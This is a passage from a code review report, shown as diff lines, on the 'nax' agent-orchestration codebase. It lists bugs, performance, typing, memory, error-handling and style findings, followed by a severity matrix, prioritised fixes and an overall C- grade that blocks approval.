- ```
207
-
208
- ```
209
- [BUG-7] MEDIUM -- PRD mutation in acceptance retry loop
210
- File: /Users/subrinaai/Desktop/workspace/subrina-coder/projects/nax/repos/nax/src/execution/runner.ts:1472
211
- Issue: prd.userStories.push(userStory) directly mutates the PRD array.
212
- This violates the project's immutability rules from CLAUDE.md.
213
- The mutated array is later saved, so there's no data loss, but
214
- mutation can cause unexpected behavior if other code holds
215
- references to the original array.
216
- Fix: prd = { ...prd, userStories: [...prd.userStories, userStory] };
217
- ```
218
-
219
- ```
220
- [BUG-8] LOW -- releaseLock spawns external rm process
221
- File: /Users/subrinaai/Desktop/workspace/subrina-coder/projects/nax/repos/nax/src/execution/helpers.ts:369
222
- Issue: releaseLock() spawns `rm` as a subprocess instead of using
223
- Bun.file or fs.unlink. This is unnecessary overhead and may
224
- fail on systems where rm is not at the expected path.
225
- Fix: Use import("node:fs/promises").unlink(lockPath) or
226
- Bun.write(lockPath, "") followed by unlink.
227
- ```
228
-
229
- ### PERFORMANCE
230
-
231
- ```
232
- [PERF-1] HIGH -- LLM routing cache has no size limit
233
- File: /Users/subrinaai/Desktop/workspace/subrina-coder/projects/nax/repos/nax/src/routing/strategies/llm.ts:16
234
- Issue: const cachedDecisions = new Map<string, RoutingDecision>();
235
- This module-level cache grows without bound. For large features
236
- with hundreds of stories (maxStoriesPerFeature=500), this could
237
- hold significant memory. Since the cache is never cleared between
238
- runs in long-lived processes, it could also serve stale decisions.
239
- Fix: Add a maximum cache size (LRU) or clear the cache at run
240
- boundaries (which clearCache() does, but only if called).
241
- ```
242
-
243
- ```
244
- [PERF-2] MEDIUM -- PidRegistry rewrites entire file on every unregister
245
- File: /Users/subrinaai/Desktop/workspace/subrina-coder/projects/nax/repos/nax/src/execution/pid-registry.ts:104-117
246
- Issue: Every unregister() call reads, reconstructs, and rewrites the
247
- entire .nax-pids file. For sessions with many spawned processes
248
- (TDD = 3 processes per story x N stories), this is O(n) I/O
249
- per unregistration.
250
- Fix: Use an append-only format with periodic compaction, or just
251
- maintain the in-memory set and write the file only on
252
- shutdown/crash.
253
- ```
254
-
255
- ```
256
- [PERF-3] MEDIUM -- redundant double-logging in runner.ts main loop
257
- File: /Users/subrinaai/Desktop/workspace/subrina-coder/projects/nax/repos/nax/src/execution/runner.ts:780-798
258
- Issue: Two consecutive logger.info calls log nearly identical
259
- information for "Starting iteration":
260
- - logger.info("execution", `Starting iteration ${iterations}`, ...)
261
- - logger.info("iteration.start", `Starting iteration ${iterations}`, ...)
262
- These produce duplicate log entries with overlapping data.
263
- Fix: Remove the first call -- the "iteration.start" entry is more
264
- complete and follows the structured logging convention.
265
- ```
266
-
267
- ```
268
- [PERF-4] LOW -- Dynamic import() in hot paths
269
- File: /Users/subrinaai/Desktop/workspace/subrina-coder/projects/nax/repos/nax/src/execution/runner.ts:246-254
270
- File: /Users/subrinaai/Desktop/workspace/subrina-coder/projects/nax/repos/nax/src/execution/crash-recovery.ts:64,214
271
- Issue: Several hot-path functions use `await import("node:fs")` instead
272
- of top-level imports. While Bun caches module resolutions, the
273
- async overhead is unnecessary for built-in modules.
274
- Fix: Move these to top-level imports.
275
- ```
276
-
277
- ### TYPE SAFETY
278
-
279
- ```
280
- [TYPE-1] HIGH -- Unsafe `as any` cast in story-dispatcher.ts
281
- File: /Users/subrinaai/Desktop/workspace/subrina-coder/projects/nax/repos/nax/src/execution/story-dispatcher.ts:104
282
- Issue: overrides.modelTier = (config.autoMode.complexityRouting[story.routing.complexity] ?? "balanced") as any;
283
- The `as any` cast silences the type checker entirely and could
284
- mask legitimate type errors.
285
- Fix: Use `as ModelTier` or add a proper type assertion.
286
- ```
287
-
288
- ```
289
- [TYPE-2] HIGH -- Unsafe `as any` cast in execution stage
290
- File: /Users/subrinaai/Desktop/workspace/subrina-coder/projects/nax/repos/nax/src/pipeline/stages/execution.ts:103
291
- Issue: (ctx.config.tdd as any)?.enabled === false
292
- This accesses a property that may not exist on the TddConfig type.
293
- If the type does not have an `enabled` field, this check is
294
- misleading and should be removed or the type should be updated.
295
- Fix: Add `enabled` to TddConfig interface or remove this dead code
296
- path.
297
- ```
298
-
299
- ```
300
- [TYPE-3] MEDIUM -- Loose ModelTier = string type
301
- File: /Users/subrinaai/Desktop/workspace/subrina-coder/projects/nax/repos/nax/src/config/schema.ts:25
302
- Issue: export type ModelTier = string;
303
- This makes ModelTier equivalent to string, providing no type
304
- safety. Any string is accepted as a model tier, and the compiler
305
- cannot catch typos like "balacned" or "powerfull".
306
- Fix: Use a union type or branded type:
307
- type ModelTier = "fast" | "balanced" | "powerful" | (string & {});
308
- The intersection with {} preserves extensibility while providing
309
- autocomplete for known values.
310
- ```
311
-
312
- ```
313
- [TYPE-4] MEDIUM -- Multiple `parsed: any` in LLM response parsing
314
- File: /Users/subrinaai/Desktop/workspace/subrina-coder/projects/nax/repos/nax/src/agents/claude.ts:594
315
- File: /Users/subrinaai/Desktop/workspace/subrina-coder/projects/nax/repos/nax/src/routing/strategies/llm.ts:234
316
- Issue: JSON.parse results are typed as `any` and accessed without
317
- type guards. While runtime validation follows, the gap between
318
- parse and validate is untyped.
319
- Fix: Use `unknown` instead of `any` and add type narrowing before
320
- property access:
321
- const parsed: unknown = JSON.parse(jsonText);
322
- if (!isObject(parsed)) throw new Error("...");
323
- ```
324
-
325
- ```
326
- [TYPE-5] LOW -- OptimizerConfigSchema mismatch with OptimizerConfig interface
327
- File: /Users/subrinaai/Desktop/workspace/subrina-coder/projects/nax/repos/nax/src/config/schema.ts:622-625
328
- Issue: The Zod schema defines strategy as z.enum(["cost", "quality", "balanced"])
329
- but the OptimizerConfig interface defines it as
330
- "rule-based" | "llm" | "noop". These enums do not match.
331
- Fix: Align the Zod schema with the interface.
332
- ```
333
-
334
- ### MEMORY
335
-
336
- ```
337
- [MEM-1] HIGH -- Crash handlers never unregister process listeners
338
- File: /Users/subrinaai/Desktop/workspace/subrina-coder/projects/nax/repos/nax/src/execution/crash-recovery.ts:124-177
339
- Issue: installCrashHandlers() adds listeners for SIGTERM, SIGINT,
340
- SIGHUP, uncaughtException, and unhandledRejection but never
341
- removes them. The handlersInstalled flag prevents duplicate
342
- installation, but if nax is used as a library, old handlers
343
- from previous runs will accumulate. The handlers also capture
344
- the CrashRecoveryContext in closure, preventing garbage
345
- collection of statusWriter, pidRegistry, etc.
346
- Fix: Return a cleanup function from installCrashHandlers() that
347
- removes all listeners. Call it in the finally block.
348
- ```
349
-
350
- ```
351
- [MEM-2] MEDIUM -- pidRegistries Map in ClaudeCodeAdapter never cleans up
352
- File: /Users/subrinaai/Desktop/workspace/subrina-coder/projects/nax/repos/nax/src/agents/claude.ts:78
353
- Issue: private pidRegistries: Map<string, PidRegistry> = new Map();
354
- Each workdir gets a PidRegistry that is never removed. If the
355
- adapter is long-lived (e.g., in a daemon/server context), this
356
- leaks PidRegistry instances.
357
- Fix: Add a cleanup method or use WeakRef/FinalizationRegistry.
358
- ```
359
-
360
- ```
361
- [MEM-3] MEDIUM -- allStoryMetrics array grows unboundedly during acceptance loop
362
- File: /Users/subrinaai/Desktop/workspace/subrina-coder/projects/nax/repos/nax/src/execution/runner.ts:1537
363
- Issue: Fix story metrics are pushed into allStoryMetrics during the
364
- acceptance retry loop. With maxRetries=2 and multiple fix stories,
365
- this array grows without bound. Combined with maxStoriesPerFeature
366
- =500, this could be significant.
367
- Fix: Cap allStoryMetrics or remove entries for superseded fix stories.
368
- ```
369
-
370
- ### ERROR HANDLING
371
-
372
- ```
373
- [ERR-1] HIGH -- Silent error swallowing in plugin loader
374
- File: /Users/subrinaai/Desktop/workspace/subrina-coder/projects/nax/repos/nax/src/plugins/loader.ts:148-151
375
- Issue: discoverPlugins() catches all errors and returns []. This means
376
- permission errors, disk failures, or other critical I/O issues
377
- are silently ignored. The caller has no way to distinguish
378
- "no plugins found" from "failed to read directory".
379
- Fix: Only catch ENOENT (directory not found). Re-throw other errors
380
- or return them as diagnostics.
381
- ```
382
-
383
- ```
384
- [ERR-2] MEDIUM -- Console.warn used instead of structured logger
385
- File: /Users/subrinaai/Desktop/workspace/subrina-coder/projects/nax/repos/nax/src/plugins/loader.ts:63,79,96
386
- File: /Users/subrinaai/Desktop/workspace/subrina-coder/projects/nax/repos/nax/src/plugins/validator.ts:30-290
387
- Issue: Plugin loader and validator use console.warn/console.error
388
- throughout instead of the structured logger (getLogger()). This
389
- bypasses log filtering, structured output, and JSONL logging.
390
- The validator has 20+ console.warn calls.
391
- Fix: Use getSafeLogger() for all warning/error output. Fall back to
392
- console only if logger is unavailable.
393
- ```
394
-
395
- ```
396
- [ERR-3] MEDIUM -- Empty catch blocks hide failures
397
- File: /Users/subrinaai/Desktop/workspace/subrina-coder/projects/nax/repos/nax/src/agents/claude.ts:111,383
398
- File: /Users/subrinaai/Desktop/workspace/subrina-coder/projects/nax/repos/nax/src/execution/verification.ts:38,168,185
399
- Issue: Multiple catch blocks are completely empty:
400
- } catch {}
401
- These silently swallow errors with no logging. Even transient
402
- errors that "should never happen" deserve a debug log entry.
403
- Fix: Add at minimum a debug-level log in each catch block.
404
- ```
405
-
406
- ```
407
- [ERR-4] LOW -- buildStoryContext uses process.cwd() instead of workdir
408
- File: /Users/subrinaai/Desktop/workspace/subrina-coder/projects/nax/repos/nax/src/execution/helpers.ts:177
409
- Issue: workdir: process.cwd() is used instead of the workdir from config.
410
- In parallel execution mode, process.cwd() may not match the
411
- story's worktree directory, causing context to be built from the
412
- wrong directory.
413
- Fix: Accept workdir as a parameter and pass it through from
414
- PipelineContext.
415
- ```
416
-
417
- ### CODE PATTERNS / STYLE
418
-
419
- ```
420
- [STYLE-1] CRITICAL -- runner.ts is 1,685 lines (4x the 400-line guideline)
421
- File: /Users/subrinaai/Desktop/workspace/subrina-coder/projects/nax/repos/nax/src/execution/runner.ts
422
- Issue: The run() function alone spans 1,500+ lines. It contains:
423
- - Sequential execution loop (~350 lines)
424
- - Parallel execution path (~150 lines)
425
- - Acceptance retry loop (~200 lines)
426
- - Reporter notification boilerplate (~100 lines, copy-pasted 5x)
427
- - Status writer updates (~50 lines, copy-pasted 4x)
428
- - Headless output formatting (~50 lines, copy-pasted 2x)
429
- This violates the project's "max ~400 lines per file" rule.
430
- Fix: Extract into focused modules:
431
- - sequential-executor.ts (main loop)
432
- - acceptance-loop.ts (acceptance retry logic)
433
- - reporter-notifier.ts (reporter event emission)
434
- - headless-formatter.ts (console output for headless mode)
435
- ```
436
-
437
- ```
438
- [STYLE-2] HIGH -- Reporter notification code duplicated 5+ times
439
- File: /Users/subrinaai/Desktop/workspace/subrina-coder/projects/nax/repos/nax/src/execution/runner.ts:846-863,967-983,1025-1041,1055-1071,1101-1117
440
- Issue: The pattern:
441
- for (const reporter of reporters) {
442
- if (reporter.onStoryComplete) {
443
- try {
444
- await reporter.onStoryComplete({ ... });
445
- } catch (error) {
446
- logger?.warn("plugins", `Reporter '${reporter.name}' ...`, { error });
447
- }
448
- }
449
- }
450
- is copy-pasted 5+ times with slightly different event data.
451
- Fix: Extract a notifyReporters() helper:
452
- async function notifyReporters(reporters, event, data) { ... }
453
- ```
454
-
455
- ```
456
- [STYLE-3] MEDIUM -- console.error/console.log in non-CLI code
457
- File: /Users/subrinaai/Desktop/workspace/subrina-coder/projects/nax/repos/nax/src/execution/runner.ts:284-292
458
- Issue: Direct console.error() calls in the runner for precheck output.
459
- These bypass the structured logging system and cannot be
460
- captured in JSONL logs.
461
- Fix: Use the logger for all output. Use the formatter for headless
462
- mode display.
463
- ```
464
-
465
- ```
466
- [STYLE-4] MEDIUM -- Emojis in log messages and code
467
- File: /Users/subrinaai/Desktop/workspace/subrina-coder/projects/nax/repos/nax/src/tdd/orchestrator.ts:292,347,388,669
468
- File: /Users/subrinaai/Desktop/workspace/subrina-coder/projects/nax/repos/nax/src/execution/helpers.ts:434
469
- Issue: Log messages contain emojis (checkmark, warning, arrows, chart):
470
- "Three-Session TDD"
471
- "Test writer session failed"
472
- "Created test files"
473
- "Progress: 6/12 stories | 5 passed | 1 failed"
474
- Per CLAUDE.md: "No emojis in code, comments, or documentation"
475
- Fix: Remove all emojis from logger messages. Use text indicators:
476
- "[OK]", "[WARN]", "[FAIL]", "->", etc.
477
- ```
478
-
479
- ```
480
- [STYLE-5] LOW -- Inconsistent require() vs import
481
- File: /Users/subrinaai/Desktop/workspace/subrina-coder/projects/nax/repos/nax/src/agents/claude.ts:348-350,413
482
- Issue: Uses require("node:path") and require("node:fs") inline instead
483
- of ES module imports. The rest of the codebase uses ES imports.
484
- Fix: Move to top-level ES module imports for consistency.
485
- ```
486
-
487
- ```
488
- [STYLE-6] LOW -- Dead code: unused maxConcurrency variable
489
- File: /Users/subrinaai/Desktop/workspace/subrina-coder/projects/nax/repos/nax/src/execution/runner.ts:196
490
- Issue: const maxConcurrency = parallel === 0 ? (os.cpus().length || 4) : (parallel ?? 0);
491
- This variable is declared on line 196 but shadowed by a new
492
- declaration on line 459 inside the parallel execution block.
493
- The outer variable is never used.
494
- Fix: Remove the unused declaration on line 196.
495
- ```
496
-
497
- ---
498
-
499
- ## Priority Matrix
500
-
501
- | ID | Severity | Category | File | Description |
502
- |:---|:---------|:---------|:-----|:------------|
503
- | SEC-1 | CRITICAL | Security | agents/claude.ts:140 | Hardcoded --dangerously-skip-permissions |
504
- | BUG-1 | CRITICAL | Bug | execution/runner.ts:216 | Crash handler captures stale values |
505
- | STYLE-1 | CRITICAL | Style | execution/runner.ts | 1,685-line file (4x guideline max) |
506
- | BUG-3 | HIGH | Bug | execution/runner.ts + story-dispatcher.ts | 765 lines of duplicated logic with divergence |
507
- | BUG-4 | HIGH | Bug | execution/parallel.ts:218 | Broken concurrency limiter |
508
- | SEC-2 | HIGH | Security | plugins/loader.ts:203 | Arbitrary code execution via plugin import |
509
- | SEC-3 | HIGH | Security | hooks/runner.ts:120 | Incomplete command injection prevention |
510
- | BUG-2 | HIGH | Bug | execution/helpers.ts:311 | TOCTOU race in lock acquisition |
511
- | PERF-1 | HIGH | Performance | routing/strategies/llm.ts:16 | Unbounded LLM routing cache |
512
- | MEM-1 | HIGH | Memory | execution/crash-recovery.ts:124 | Process listeners never unregistered |
513
- | TYPE-1 | HIGH | Type Safety | execution/story-dispatcher.ts:104 | Unsafe `as any` cast |
514
- | TYPE-2 | HIGH | Type Safety | pipeline/stages/execution.ts:103 | Unsafe `as any` cast |
515
- | ERR-1 | HIGH | Error Handling | plugins/loader.ts:148 | Silent error swallowing |
516
- | STYLE-2 | HIGH | Style | execution/runner.ts | Reporter code duplicated 5x |
517
- | SEC-4 | MEDIUM | Security | agents/claude.ts:226 | Env variable leakage to agent |
518
- | SEC-5 | MEDIUM | Security | constitution/loader.ts:77 | Missing path validation |
519
- | BUG-5 | MEDIUM | Bug | execution/helpers.ts:259 | Ready stories includes failed/paused |
520
- | BUG-6 | MEDIUM | Bug | routing/strategies/llm.ts:147 | Stream read before process exit |
521
- | BUG-7 | MEDIUM | Bug | execution/runner.ts:1472 | PRD array mutation |
522
- | PERF-2 | MEDIUM | Performance | execution/pid-registry.ts:104 | O(n) file rewrite per unregister |
523
- | PERF-3 | MEDIUM | Performance | execution/runner.ts:780 | Duplicate logging calls |
524
- | TYPE-3 | MEDIUM | Type Safety | config/schema.ts:25 | ModelTier = string (no safety) |
525
- | TYPE-4 | MEDIUM | Type Safety | agents/claude.ts:594 | JSON.parse returns any |
526
- | MEM-2 | MEDIUM | Memory | agents/claude.ts:78 | PidRegistry map never cleaned |
527
- | MEM-3 | MEDIUM | Memory | execution/runner.ts:1537 | Unbounded metrics array |
528
- | ERR-2 | MEDIUM | Error Handling | plugins/loader.ts + validator.ts | console.warn instead of logger |
529
- | ERR-3 | MEDIUM | Error Handling | multiple files | Empty catch blocks |
530
- | STYLE-3 | MEDIUM | Style | execution/runner.ts:284 | console.error in non-CLI code |
531
- | STYLE-4 | MEDIUM | Style | tdd/orchestrator.ts + helpers.ts | Emojis in log messages |
532
- | ERR-4 | LOW | Error Handling | execution/helpers.ts:177 | process.cwd() instead of workdir |
533
- | BUG-8 | LOW | Bug | execution/helpers.ts:369 | Spawns rm subprocess for file delete |
534
- | TYPE-5 | LOW | Type Safety | config/schema.ts:622 | Schema/interface enum mismatch |
535
- | PERF-4 | LOW | Performance | runner.ts, crash-recovery.ts | Dynamic import in hot paths |
536
- | STYLE-5 | LOW | Style | agents/claude.ts:348 | require() instead of import |
537
- | STYLE-6 | LOW | Style | execution/runner.ts:196 | Dead code: shadowed variable |
538
-
539
- ---
540
-
541
- ## Top 5 Fixes (Implement First)
542
-
543
- ### 1. Fix crash handler stale values (BUG-1)
544
- **Why first:** Crash recovery is a safety-critical feature. Currently it
545
- writes incorrect data on crash, making the feature worse than useless
546
- (it provides false information). One-line fix with massive impact.
547
-
548
- ### 2. Make --dangerously-skip-permissions configurable (SEC-1)
549
- **Why second:** This is the single most impactful security issue. Every
550
- agent invocation bypasses all safety controls. Making it configurable
551
- allows users to choose their security posture.
552
-
553
- ### 3. Fix parallel execution concurrency limiter (BUG-4)
554
- **Why third:** The broken limiter means parallel mode can spawn unlimited
555
- concurrent processes, causing resource exhaustion and potential system
556
- instability.
557
-
558
- ### 4. Split runner.ts (STYLE-1 + STYLE-2 + BUG-3)
559
- **Why fourth:** This addresses three findings at once. Extract the
560
- reporter notification helper, the acceptance loop, and the sequential
561
- execution loop. Delete story-dispatcher.ts to eliminate the divergence
562
- risk.
563
-
564
- ### 5. Fix lock file TOCTOU race (BUG-2)
565
- **Why fifth:** Concurrent nax processes can corrupt the PRD file and
566
- waste money by running duplicate agent sessions. Using atomic file
567
- creation prevents this.
568
-
569
- ---
570
-
571
- ## Positive Observations
572
-
573
- Despite the issues above, the codebase demonstrates strong engineering:
574
-
575
- 1. **Zod validation for all config** -- config/schema.ts provides
576
- comprehensive runtime validation with clear error messages.
577
- 2. **Path security module** -- path-security.ts with symlink resolution
578
- and bounds checking shows security awareness.
579
- 3. **Structured error classes** -- errors.ts with typed codes enables
580
- proper error handling at the CLI boundary.
581
- 4. **Immutable patterns in most code** -- spread operators and map()
582
- used consistently (the PRD mutation in BUG-7 is the exception).
583
- 5. **Comprehensive TDD orchestrator** -- The three-session TDD pipeline
584
- with isolation verification, verdict parsing, and rollback is
585
- well-designed and thoroughly implemented.
586
- 6. **Plugin system architecture** -- Clean separation of concerns with
587
- typed extension points, runtime validation, and graceful fallbacks.
588
- 7. **ADR-003 verification flow** -- The multi-stage verification with
589
- environmental failure detection and smart exit-code analysis is
590
- production-quality infrastructure.
591
-
592
- ---
593
-
594
- ## Overall Grade: C-
595
-
596
- **Justification:**
597
-
598
- | Category | Score | Weight | Notes |
599
- |:---------|:------|:-------|:------|
600
- | Security | D | 25% | Hardcoded permission bypass, incomplete injection prevention |
601
- | Correctness | C | 25% | Stale crash values, broken concurrency, TOCTOU race |
602
- | Maintainability | D+ | 20% | 1685-line file, massive duplication, divergent copies |
603
- | Type Safety | C+ | 10% | Good Zod usage undermined by `as any` casts |
604
- | Performance | B- | 10% | Unbounded cache is the only real issue |
605
- | Error Handling | C | 10% | Mix of good (structured errors) and bad (empty catches) |
606
-
607
- The architecture and domain modeling are strong (B+), but the
608
- implementation has accumulated technical debt that creates real risk.
609
- The five critical/high findings (SEC-1, BUG-1, BUG-3, BUG-4, STYLE-1)
610
- must be addressed before any production deployment.
611
-
612
- **Approval:** BLOCKED -- 3 CRITICAL and 11 HIGH findings.